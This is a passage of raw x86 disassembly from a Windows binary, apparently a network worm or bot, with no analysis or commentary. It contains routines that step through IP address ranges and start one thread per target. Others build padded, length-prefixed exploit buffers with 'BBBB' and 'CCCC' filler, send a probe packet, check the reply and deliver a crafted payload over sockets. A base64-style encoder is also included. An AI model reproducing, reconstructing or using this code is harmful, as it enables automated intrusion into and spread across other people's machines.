call dword_4CBA6C ; closesocket
pop edi
xor eax, eax
pop esi
leave
retn 4
sub_40C85F endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_40C92C proc near ; DATA XREF: sub_401ACD+5F60o
var_134 = byte ptr -134h
var_B4 = byte ptr -0B4h
var_30 = dword ptr -30h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 134h
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
push 2Bh
mov esi, ebx
pop ecx
lea edi, [ebp+var_B4]
rep movsd
mov esi, ds:dword_427080
mov dword ptr [ebx+0A4h], 1
xor edi, edi
loc_40C95A: ; CODE XREF: sub_40C92C+ECj
push [ebp+var_30]
push [ebp+var_20]
call dword_4CBA60 ; inet_ntoa
push eax
lea eax, [ebp+var_134]
push offset unk_431FA4
push eax
call sub_41C266
lea eax, [ebp+var_134]
push 1FFh
push eax
mov eax, [ebp+var_24]
imul eax, 234h
add eax, offset dword_43E710
push eax
call sub_41BFD0
add esp, 1Ch
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_B4]
push edi
push eax
push offset sub_40C85F
push edi
push edi
call ds:dword_427084 ; CreateThread
cmp eax, edi
mov [ebp+var_4], eax
jz short loc_40C9C6
loc_40C9BB: ; CODE XREF: sub_40C92C+98j
cmp [ebp+var_C], edi
jnz short loc_40C9C6
push 32h
call esi ; Sleep
jmp short loc_40C9BB
; ---------------------------------------------------------------------------
loc_40C9C6: ; CODE XREF: sub_40C92C+8Dj
; sub_40C92C+92j
push [ebp+var_4]
call ds:dword_427070 ; CloseHandle
push dword ptr [ebx+8Ch]
mov [ebx+0A8h], edi
call esi ; Sleep
lea eax, [ebp+var_20]
push 4
push eax
lea eax, [ebp+arg_0]
push eax
call sub_41CD20
add esp, 0Ch
push [ebp+arg_0]
call dword_4CB8FC ; htonl
inc eax
push eax
mov [ebp+arg_0], eax
call dword_4CB9D0 ; htonl
mov [ebp+arg_0], eax
lea eax, [ebp+arg_0]
push 4
push eax
lea eax, [ebp+var_20]
push eax
call sub_41CD20
add esp, 0Ch
jmp loc_40C95A
sub_40C92C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CA1D proc near ; DATA XREF: sub_401ACD+5C80o
var_130 = byte ptr -130h
var_B0 = dword ptr -0B0h
var_AC = byte ptr -0ACh
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_14 = dword ptr -14h
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 130h
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
push 2Bh
mov esi, ebx
pop ecx
lea edi, [ebp+var_B0]
rep movsd
mov esi, ds:dword_427080
mov dword ptr [ebx+0A4h], 1
xor edi, edi
loc_40CA4B: ; CODE XREF: sub_40CA1D+BCj
push [ebp+var_2C]
push [ebp+var_1C]
call dword_4CBA60 ; inet_ntoa
push eax
lea eax, [ebp+var_130]
push offset unk_431FF8
push eax
call sub_41C266
lea eax, [ebp+var_130]
push 1FFh
push eax
mov eax, [ebp+var_20]
imul eax, 234h
add eax, offset dword_43E710
push eax
call sub_41BFD0
add esp, 1Ch
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_B0]
push edi
push eax
push offset sub_40C85F
push edi
push edi
call ds:dword_427084 ; CreateThread
cmp eax, edi
mov [ebp+arg_0], eax
jz short loc_40CAB7
loc_40CAAC: ; CODE XREF: sub_40CA1D+98j
cmp [ebp+var_8], edi
jnz short loc_40CAB7
push 32h
call esi ; Sleep
jmp short loc_40CAAC
; ---------------------------------------------------------------------------
loc_40CAB7: ; CODE XREF: sub_40CA1D+8Dj
; sub_40CA1D+92j
push [ebp+arg_0]
call ds:dword_427070 ; CloseHandle
push dword ptr [ebx+8Ch]
mov [ebx+0A8h], edi
call esi ; Sleep
mov eax, [ebp+var_2C]
cmp eax, [ebp+var_28]
jz short loc_40CADE
inc [ebp+var_2C]
jmp loc_40CA4B
; ---------------------------------------------------------------------------
loc_40CADE: ; CODE XREF: sub_40CA1D+B7j
push [ebp+var_1C]
call dword_4CBA60 ; inet_ntoa
push eax
lea eax, [ebp+var_130]
push offset unk_431FCC
push eax
call sub_41C266
push edi
lea eax, [ebp+var_130]
push [ebp+var_14]
push eax
lea eax, [ebp+var_AC]
push eax
push [ebp+var_B0]
call sub_409869
push [ebp+var_20]
call sub_40B6D6
add esp, 24h
xor eax, eax
pop edi
pop esi
pop ebx
leave
retn 4
sub_40CA1D endp
; =============== S U B R O U T I N E =======================================
sub_40CB2A proc near ; CODE XREF: sub_40CD9E+Ep
; sub_40CD9E+33p ...
mov eax, ecx
and dword ptr [eax+4], 0
and dword ptr [eax], 0
retn
sub_40CB2A endp
; =============== S U B R O U T I N E =======================================
sub_40CB34 proc near ; CODE XREF: sub_40CD9E+11Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_4]
push esi
push edi
mov esi, ecx
push ebx
call sub_41BEB5
mov edi, eax
pop ecx
test edi, edi
jz short loc_40CB66
push ebx
push 0
push edi
call sub_41BF70
push ebx
push [esp+1Ch+arg_0]
push edi
call sub_41CD20
add esp, 18h
mov [esi+4], ebx
mov [esi], edi
loc_40CB66: ; CODE XREF: sub_40CB34+14j
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_40CB34 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CB6E proc near ; CODE XREF: sub_40CC68+18p
; sub_40CCE2+16p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push ebx
mov ebx, ecx
push esi
mov ecx, [ebp+arg_C]
push edi
lea edi, [eax+ecx]
push edi
call sub_41BEB5
mov esi, eax
pop ecx
test esi, esi
jz short loc_40CBBA
push edi
push 0
push esi
call sub_41BF70
push [ebp+arg_4]
push [ebp+arg_0]
push esi
call sub_41CD20
push [ebp+arg_C]
mov eax, [ebp+arg_4]
add eax, esi
push [ebp+arg_8]
push eax
call sub_41CD20
add esp, 24h
mov [ebx+4], edi
mov [ebx], esi
loc_40CBBA: ; CODE XREF: sub_40CB6E+1Cj
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
retn 10h
sub_40CB6E endp
; =============== S U B R O U T I N E =======================================
sub_40CBC3 proc near ; CODE XREF: sub_40CC68+5Ep
; sub_40CC68+6Fp ...
push esi
mov esi, ecx
mov eax, [esi]
test eax, eax
jz short loc_40CBD3
push eax
call sub_41BA91
pop ecx
loc_40CBD3: ; CODE XREF: sub_40CBC3+7j
and dword ptr [esi+4], 0
and dword ptr [esi], 0
pop esi
retn
sub_40CBC3 endp
; =============== S U B R O U T I N E =======================================
sub_40CBDC proc near ; CODE XREF: sub_40CC68+20p
; sub_40CD43+8p ...
push ebx
push esi
mov esi, ecx
push edi
mov eax, [esi+4]
cmp eax, 0FFFFh
jge short loc_40CC09
xor ebx, ebx
cmp eax, 7Fh
setnl bl
dec ebx
and ebx, 0FFFFFFFEh
add ebx, 3
add eax, ebx
push eax
call sub_41BEB5
mov edi, eax
pop ecx
test edi, edi
jnz short loc_40CC0D
loc_40CC09: ; CODE XREF: sub_40CBDC+Dj
xor al, al
jmp short loc_40CC64
; ---------------------------------------------------------------------------
loc_40CC0D: ; CODE XREF: sub_40CBDC+2Bj
mov eax, ebx
add eax, [esi+4]
push eax
push 0
push edi
call sub_41BF70
add esp, 0Ch
cmp ebx, 1
jnz short loc_40CC32
mov al, [esi+4]
mov [edi], al
push dword ptr [esi+4]
lea eax, [edi+1]
push dword ptr [esi]
jmp short loc_40CC4C
; ---------------------------------------------------------------------------
loc_40CC32: ; CODE XREF: sub_40CBDC+45j
mov byte ptr [edi], 82h
mov eax, [esi+4]
sar eax, 8
mov [edi+1], al
mov al, [esi+4]
mov [edi+2], al
push dword ptr [esi+4]
lea eax, [edi+3]
push dword ptr [esi]
loc_40CC4C: ; CODE XREF: sub_40CBDC+54j
push eax
call sub_41CD20
add esp, 0Ch
push dword ptr [esi]
call sub_41BA91
add [esi+4], ebx
pop ecx
mov [esi], edi
mov al, 1
loc_40CC64: ; CODE XREF: sub_40CBDC+2Fj
pop edi
pop esi
pop ebx
retn
sub_40CBDC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CC68 proc near ; CODE XREF: sub_40CD9E+89p
; sub_40CD9E+E3p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push edi
lea ecx, [ebp+var_8]
push dword ptr [esi+4]
push dword ptr [esi]
push 1
push offset word_4CB88C
call sub_40CB6E
lea ecx, [ebp+var_8]
call sub_40CBDC
mov eax, [ebp+var_4]
inc eax
push eax
call sub_41BEB5
mov edi, eax
pop ecx
test edi, edi
jnz short loc_40CCA2
xor al, al
jmp short loc_40CCDE
; ---------------------------------------------------------------------------
loc_40CCA2: ; CODE XREF: sub_40CC68+34j
mov eax, [ebp+var_4]
inc eax
push eax
push 0
push edi
call sub_41BF70
mov byte ptr [edi], 3
push [ebp+var_4]
lea eax, [edi+1]
push [ebp+var_8]
push eax
call sub_41CD20
add esp, 18h
mov ecx, esi
call sub_40CBC3
mov eax, [ebp+var_4]
lea ecx, [ebp+var_8]
inc eax
mov [esi], edi
mov [esi+4], eax
call sub_40CBC3
mov al, 1
loc_40CCDE: ; CODE XREF: sub_40CC68+38j
pop edi
pop esi
leave
retn
sub_40CC68 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CCE2 proc near ; CODE XREF: sub_40CD16+14p
; sub_40CD33+8p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push [ebp+arg_4]
lea ecx, [ebp+var_8]
push [ebp+arg_0]
push dword ptr [esi+4]
push dword ptr [esi]
call sub_40CB6E
mov ecx, esi
call sub_40CBC3
mov eax, [ebp+var_8]
mov [esi], eax
mov eax, [ebp+var_4]
mov [esi+4], eax
mov al, 1
pop esi
leave
retn 8
sub_40CCE2 endp
; =============== S U B R O U T I N E =======================================
sub_40CD16 proc near ; CODE XREF: sub_40CD9E+F0p
; sub_40CD9E+15Bp ...
arg_0 = dword ptr 4
push esi
mov esi, ecx
push [esp+4+arg_0]
call sub_41B9C0
pop ecx
push eax
mov ecx, esi
push [esp+8+arg_0]
call sub_40CCE2
pop esi
retn 4
sub_40CD16 endp
; =============== S U B R O U T I N E =======================================
sub_40CD33 proc near ; CODE XREF: sub_40CD7F+Bp
; sub_40CD9E+1A1p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_40CCE2
retn 8
sub_40CD33 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CD43 proc near ; CODE XREF: sub_40CD7F+16p
; sub_40CD9E+91p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
call sub_40CBDC
test al, al
jz short loc_40CD7C
push dword ptr [esi+4]
lea ecx, [ebp+var_8]
push dword ptr [esi]
push 1
push offset dword_42CC80
call sub_40CB6E
mov ecx, esi
call sub_40CBC3
mov eax, [ebp+var_8]
mov [esi], eax
mov eax, [ebp+var_4]
mov [esi+4], eax
mov al, 1
loc_40CD7C: ; CODE XREF: sub_40CD43+Fj
pop esi
leave
retn
sub_40CD43 endp
; =============== S U B R O U T I N E =======================================
sub_40CD7F proc near ; CODE XREF: sub_40CD9E+134p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, ecx
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_40CD33
test al, al
jz short loc_40CD9A
mov ecx, esi
call sub_40CD43
loc_40CD9A: ; CODE XREF: sub_40CD7F+12j
pop esi
retn 8
sub_40CD7F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CD9E proc near ; CODE XREF: .text:0040D625p
var_858 = byte ptr -858h
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 858h
push ebx
push edi
lea ecx, [ebp+var_48]
call sub_40CB2A
mov edi, 408h
cmp [ebp+arg_8], edi
jg loc_40D0F2
mov ebx, [ebp+arg_10]
lea eax, [ebx+8]
cmp eax, edi
ja loc_40D0F2
push esi
lea ecx, [ebp+var_30]
call sub_40CB2A
lea ecx, [ebp+var_20]
call sub_40CB2A
lea ecx, [ebp+var_50]
call sub_40CB2A
lea ecx, [ebp+var_18]
call sub_40CB2A
lea ecx, [ebp+var_40]
call sub_40CB2A
lea ecx, [ebp+var_38]
call sub_40CB2A
lea ecx, [ebp+var_28]
call sub_40CB2A
push 4
push offset dword_432030
lea ecx, [ebp+var_30]
call sub_40CCE2
push 3
push offset dword_432038
lea ecx, [ebp+var_30]
call sub_40CCE2
lea ecx, [ebp+var_30]
call sub_40CC68
lea ecx, [ebp+var_30]
call sub_40CD43
mov esi, 800h
lea eax, [ebp+var_858]
push esi
push 42h
push eax
call sub_41BF70
add esp, 0Ch
lea ecx, [ebp+var_20]
push 8
push offset aRbrbrbrb ; "BBBB"
call sub_40CCE2
push ebx
lea ecx, [ebp+var_20]
push [ebp+arg_C]
call sub_40CCE2
mov eax, 409h
lea ecx, [ebp+var_20]
sub eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_858]
push eax
call sub_40CCE2
lea ecx, [ebp+var_20]
call sub_40CC68
push offset dword_4323B4
lea ecx, [ebp+var_50]
call sub_40CD16
lea ecx, [ebp+var_50]
call sub_40CC68
push esi
lea eax, [ebp+var_858]
push 44h
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_858]
lea ecx, [ebp+var_58]
push 410h
push eax
call sub_40CB34
lea ecx, [ebp+var_58]
call sub_40CC68
push [ebp+var_54]
lea ecx, [ebp+var_50]
push [ebp+var_58]
call sub_40CD7F
lea ecx, [ebp+var_58]
call sub_40CBC3
push esi
lea eax, [ebp+var_858]
push 43h
push eax
call sub_41BF70
add esp, 0Ch
push offset aCccc ; "CCCC"
lea ecx, [ebp+var_18]
call sub_40CD16
push 4
push offset dword_43203C
lea ecx, [ebp+var_18]
call sub_40CCE2
push [ebp+arg_8]
lea ecx, [ebp+var_18]
push [ebp+arg_4]
call sub_40CCE2
sub edi, [ebp+arg_8]
lea eax, [ebp+var_858]
lea ecx, [ebp+var_18]
push edi
push eax
call sub_40CCE2
lea ecx, [ebp+var_18]
call sub_40CC68
push [ebp+var_14]
lea ecx, [ebp+var_40]
push [ebp+var_18]
call sub_40CD33
push [ebp+var_4C]
lea ecx, [ebp+var_40]
push [ebp+var_50]
call sub_40CD33
lea ecx, [ebp+var_40]
call sub_40CD43
lea ecx, [ebp+var_18]
call sub_40CBC3
lea ecx, [ebp+var_50]
call sub_40CBC3
push [ebp+var_1C]
lea ecx, [ebp+var_38]
push [ebp+var_20]
call sub_40CD33
push [ebp+var_2C]
lea ecx, [ebp+var_38]
push [ebp+var_30]
call sub_40CD33
push [ebp+var_3C]
lea ecx, [ebp+var_38]
push [ebp+var_40]
call sub_40CD33
lea ecx, [ebp+var_38]
call sub_40CD43
lea ecx, [ebp+var_20]
call sub_40CBC3
lea ecx, [ebp+var_30]
call sub_40CBC3
lea ecx, [ebp+var_40]
call sub_40CBC3
push esi
lea eax, [ebp+var_858]
push 41h
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_858]
lea ecx, [ebp+var_28]
push 400h
push eax
call sub_40CCE2
lea ecx, [ebp+var_28]
call sub_40CC68
push 2
push offset dword_4323A8
lea ecx, [ebp+var_28]
call sub_40CCE2
push [ebp+var_34]
lea ecx, [ebp+var_28]
push [ebp+var_38]
call sub_40CD33
lea ecx, [ebp+var_28]
call sub_40CD43
lea ecx, [ebp+var_38]
call sub_40CBC3
lea ecx, [ebp+var_10]
call sub_40CB2A
lea ecx, [ebp+var_8]
call sub_40CB2A
push [ebp+var_24]
lea ecx, [ebp+var_10]
push [ebp+var_28]
call sub_40CD33
lea ecx, [ebp+var_10]
call sub_40CBDC
lea ecx, [ebp+var_28]
call sub_40CBC3
push offset dword_4323A4
lea ecx, [ebp+var_8]
call sub_40CD16
push [ebp+var_C]
lea ecx, [ebp+var_8]
push [ebp+var_10]
call sub_40CD33
lea ecx, [ebp+var_8]
call sub_40CBDC
lea ecx, [ebp+var_10]
call sub_40CBC3
push offset dword_4323A0
lea ecx, [ebp+var_10]
call sub_40CD16
push [ebp+var_4]
lea ecx, [ebp+var_10]
push [ebp+var_8]
call sub_40CD33
lea ecx, [ebp+var_10]
call sub_40CBDC
lea ecx, [ebp+var_8]
call sub_40CBC3
push offset dword_432394
lea ecx, [ebp+var_8]
call sub_40CD16
push [ebp+var_C]
lea ecx, [ebp+var_8]
push [ebp+var_10]
call sub_40CD33
lea ecx, [ebp+var_8]
call sub_40CBDC
lea ecx, [ebp+var_10]
call sub_40CBC3
push offset dword_432390
lea ecx, [ebp+var_48]
call sub_40CD16
push [ebp+var_4]
lea ecx, [ebp+var_48]
push [ebp+var_8]
call sub_40CD33
lea ecx, [ebp+var_8]
call sub_40CBC3
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_48]
pop esi
mov [eax], ecx
mov ecx, [ebp+var_44]
mov [eax+4], ecx
jmp short loc_40D100
; ---------------------------------------------------------------------------
loc_40D0F2: ; CODE XREF: sub_40CD9E+1Bj
; sub_40CD9E+29j
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_48]
mov [eax], ecx
mov ecx, [ebp+var_44]
mov [eax+4], ecx
loc_40D100: ; CODE XREF: sub_40CD9E+352j
pop edi
pop ebx
leave
retn
sub_40CD9E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D104 proc near ; CODE XREF: sub_40D1C8+A1p
; sub_40D1C8+C2p ...
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
push esi
push edi
mov esi, [ebp+arg_0]
push 1
pop edi
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_210]
and [ebp+var_4], 0
push eax
lea eax, [ebp+var_10C]
push 0
push eax
lea eax, [esi+1]
push eax
mov [ebp+var_108], esi
mov [ebp+var_10C], edi
mov [ebp+var_20C], esi
mov [ebp+var_210], edi
mov [ebp+var_8], 0Ah
call ds:dword_42720C ; select
cmp eax, edi
jnz short loc_40D16B
lea eax, [ebp+var_10C]
push eax
push esi
call sub_426350 ; __WSAFDIsSet
test eax, eax
jnz short loc_40D16F
loc_40D16B: ; CODE XREF: sub_40D104+54j
xor eax, eax
jmp short loc_40D17F
; ---------------------------------------------------------------------------
loc_40D16F: ; CODE XREF: sub_40D104+65j
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call dword_4CB9EC ; recv
loc_40D17F: ; CODE XREF: sub_40D104+69j
pop edi
pop esi
leave
retn
sub_40D104 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D183 proc near ; CODE XREF: sub_40D1C8+81p
; sub_40D1C8+ABp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push [ebp+arg_8]
call dword_4CB9D0 ; htonl
mov [ebp+var_4], eax
push 0
lea eax, [ebp+var_4]
push 4
push eax
push [ebp+arg_0]
call dword_4CBA24 ; send
cmp eax, 4
jz short loc_40D1AD
xor al, al
leave
retn
; ---------------------------------------------------------------------------
loc_40D1AD: ; CODE XREF: sub_40D183+24j
push 0
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_4CBA24 ; send
sub eax, [ebp+arg_8]
neg eax
sbb eax, eax
inc eax
leave
retn
sub_40D183 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D1C8 proc near ; CODE XREF: sub_40D2A2+48p
; .text:0040D716p
var_104 = byte ptr -104h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 104h
push ebx
push esi
push edi
mov edi, [ebp+arg_8]
lea ebx, [edi+41h]
push ebx
mov [ebp+var_4], ebx
call sub_41BEB5
mov esi, eax
pop ecx
test esi, esi
jnz short loc_40D1F1
xor al, al
jmp loc_40D29D
; ---------------------------------------------------------------------------
loc_40D1F1: ; CODE XREF: sub_40D1C8+20j
push ebx
push 0
push esi
call sub_41BF70
push 2Fh
push offset dword_4320CC
push esi
call sub_41CD20
push 8
lea eax, [esi+31h]
push offset dword_4320FC
push eax
mov [esi+2Fh], di
call sub_41CD20
push edi
lea ebx, [esi+3Bh]
push [ebp+arg_4]
mov [esi+39h], di
push ebx
call sub_41CD20
push 6
add ebx, edi
push offset dword_4CE6EC
push ebx
call sub_41CD20
mov ebx, [ebp+arg_0]
push 85h
push offset dword_432044
push ebx
call sub_40D183
add esp, 48h
test al, al
jnz short loc_40D259
loc_40D255: ; CODE XREF: sub_40D1C8+B5j
xor bl, bl
jmp short loc_40D294
; ---------------------------------------------------------------------------
loc_40D259: ; CODE XREF: sub_40D1C8+8Bj
mov edi, 100h
push 0
lea eax, [ebp+var_104]
push edi
push eax
push ebx
call sub_40D104
push [ebp+var_4]
push esi
push ebx
call sub_40D183
add esp, 1Ch
test al, al
jz short loc_40D255
push 0
lea eax, [ebp+var_104]
push edi
push eax
push ebx
call sub_40D104
add esp, 10h
mov bl, 1
loc_40D294: ; CODE XREF: sub_40D1C8+8Fj
push esi
call sub_41BA91
pop ecx
mov al, bl
loc_40D29D: ; CODE XREF: sub_40D1C8+24j
pop edi
pop esi
pop ebx
leave
retn
sub_40D1C8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D2A2 proc near ; CODE XREF: .text:0040D6FCp
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
push 0
push 48h
push offset unk_432108
push [ebp+arg_0]
call ds:dword_427208 ; send
cmp eax, 48h
jnz short loc_40D2DD
push 0
lea eax, [ebp+var_20]
push 20h
push eax
push [ebp+arg_0]
call sub_40D104
add esp, 10h
cmp eax, 0FFFFFFFFh
jz short loc_40D2DD
cmp [ebp+var_20], 82h
jz short loc_40D2E1
loc_40D2DD: ; CODE XREF: sub_40D2A2+1Bj
; sub_40D2A2+33j
xor al, al
leave
retn
; ---------------------------------------------------------------------------
loc_40D2E1: ; CODE XREF: sub_40D2A2+39j
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D1C8
add esp, 0Ch
leave
retn
sub_40D2A2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D2F4 proc near ; CODE XREF: sub_40D340+2Dp
var_10 = qword ptr -10h
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_0]
and dword ptr [ebp+var_8+4], 0
shl eax, 3
mov dword ptr [ebp+var_8], eax
fild [ebp+var_8]
fmul ds:dbl_427670
call sub_41D174
and dword ptr [ebp+var_8+4], 0
mov dword ptr [ebp+var_8], eax
fild [ebp+var_8]
push ecx
push ecx ; double
fst [ebp+var_8]
fmul ds:dbl_427668
fstp [esp+10h+var_10]
call sub_41D055
fadd st, st
pop ecx
pop ecx
fadd [ebp+var_8]
call sub_41D174
inc eax
leave
retn
sub_40D2F4 endp
; =============== S U B R O U T I N E =======================================
sub_40D340 proc near ; CODE XREF: sub_40D4E2+24p
var_40 = qword ptr -40h
mov eax, offset loc_426AA7
call sub_41D640
sub esp, 2Ch
mov al, [ebp+13h]
push ebx
push esi
push edi
xor edi, edi
lea ecx, [ebp-38h]
push edi
mov [ebp-20h], edi
mov [ebp-38h], al
call sub_40D977
push 1
pop ebx
push dword ptr [ebp+10h]
mov [ebp-4], ebx
call sub_40D2F4
cmp [ebp-2Ch], eax
pop ecx
jnb short loc_40D382
push edi
push eax
lea ecx, [ebp-38h]
call sub_40D8F2
loc_40D382: ; CODE XREF: sub_40D340+36j
cmp [ebp+10h], edi
mov [ebp-18h], edi
jbe loc_40D49F
mov ebx, [ebp+10h]
loc_40D391: ; CODE XREF: sub_40D340+156j
cmp dword ptr [ebp+10h], 3
jb short loc_40D39B
push 3
jmp short loc_40D3AD
; ---------------------------------------------------------------------------
loc_40D39B: ; CODE XREF: sub_40D340+55j
cmp dword ptr [ebp+10h], 2
jnz short loc_40D3A5
push 2
jmp short loc_40D3AD
; ---------------------------------------------------------------------------
loc_40D3A5: ; CODE XREF: sub_40D340+5Fj
cmp dword ptr [ebp+10h], 1
jnz short loc_40D3AE
push 1
loc_40D3AD: ; CODE XREF: sub_40D340+59j
; sub_40D340+63j
pop ebx
loc_40D3AE: ; CODE XREF: sub_40D340+69j
mov [ebp-28h], ebx
mov [ebp-24h], edi
fild qword ptr [ebp-28h]
push ecx
push ecx ; double
fmul ds:dbl_427680
fstp [esp+40h+var_40]
call sub_41D19B
pop ecx
pop ecx
call sub_41D174
cmp ebx, edi
mov [ebp-1Ch], eax
jbe short loc_40D3ED
mov esi, [ebp+0Ch]
mov ecx, ebx
mov edx, ecx
lea edi, [ebp-10h]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
xor edi, edi
loc_40D3ED: ; CODE XREF: sub_40D340+93j
mov cl, [ebp-10h]
mov dl, [ebp-10h]
sar cl, 2
and cl, 3Fh
and dl, 3
mov [ebp-14h], cl
mov cl, [ebp-0Fh]
sar cl, 4
and cl, 0Fh
add [ebp+0Ch], ebx
shl dl, 4
add cl, dl
mov dl, [ebp-0Fh]
mov [ebp-13h], cl
mov cl, [ebp-0Eh]
sar cl, 6
and dl, 0Fh
sub [ebp+10h], ebx
and cl, 3
xor esi, esi
shl dl, 2
add cl, dl
mov [ebp-12h], cl
mov cl, [ebp-0Eh]
and cl, 3Fh
cmp eax, edi
mov [ebp-11h], cl
jbe short loc_40D45B
add [ebp-18h], eax
loc_40D43F: ; CODE XREF: sub_40D340+119j
movsx eax, byte ptr [ebp+esi-14h]
lea ecx, [ebp-38h]
mov al, byte_432154[eax]
push eax
push 1
call sub_40D774
inc esi
cmp esi, [ebp-1Ch]
jb short loc_40D43F
loc_40D45B: ; CODE XREF: sub_40D340+FAj
cmp dword ptr [ebp-18h], 48h
jb short loc_40D479
push dword ptr [ebp+14h]
call sub_41B9C0
pop ecx
push eax
lea ecx, [ebp-38h]
push dword ptr [ebp+14h]
call sub_40D7CD
mov [ebp-18h], edi
loc_40D479: ; CODE XREF: sub_40D340+11Fj
push 4
pop esi
cmp [ebp-1Ch], esi
jnb short loc_40D493
sub esi, [ebp-1Ch]
loc_40D484: ; CODE XREF: sub_40D340+151j
push 3Dh
push 1
lea ecx, [ebp-38h]
call sub_40D774
dec esi
jnz short loc_40D484
loc_40D493: ; CODE XREF: sub_40D340+13Fj
cmp [ebp+10h], edi
ja loc_40D391
push 1
pop ebx
loc_40D49F: ; CODE XREF: sub_40D340+48j
mov esi, [ebp+8]
mov al, [ebp-38h]
push edi
mov ecx, esi
mov [esi], al
call sub_40D977
push ds:dword_427678
lea eax, [ebp-38h]
mov ecx, esi
push edi
push eax
call sub_40D824
mov [ebp-20h], ebx
and byte ptr [ebp-4], 0
push ebx
lea ecx, [ebp-38h]
call sub_40D977
mov ecx, [ebp-0Ch]
mov eax, esi
pop edi
pop esi
pop ebx
mov large fs:0, ecx
leave
retn
sub_40D340 endp
; =============== S U B R O U T I N E =======================================
sub_40D4E2 proc near ; CODE XREF: .text:0040D6DFp
mov eax, offset loc_426AC4
call sub_41D640
sub esp, 10h
push ebx
push esi
push edi
push offset byte_43DB88
lea eax, [ebp-1Ch]
push dword ptr [ebp+10h]
xor ebx, ebx
mov [ebp-4], ebx
push dword ptr [ebp+0Ch]
push eax
call sub_40D340
mov eax, [ebp+1Ch]
mov ecx, [ebp-14h]
mov byte ptr [ebp-4], 1
lea esi, [ecx+eax+36h]
push esi
call sub_41BEB5
mov edi, eax
add esp, 14h
cmp edi, ebx
jnz short loc_40D52C
xor bl, bl
jmp short loc_40D570
; ---------------------------------------------------------------------------
loc_40D52C: ; CODE XREF: sub_40D4E2+44j
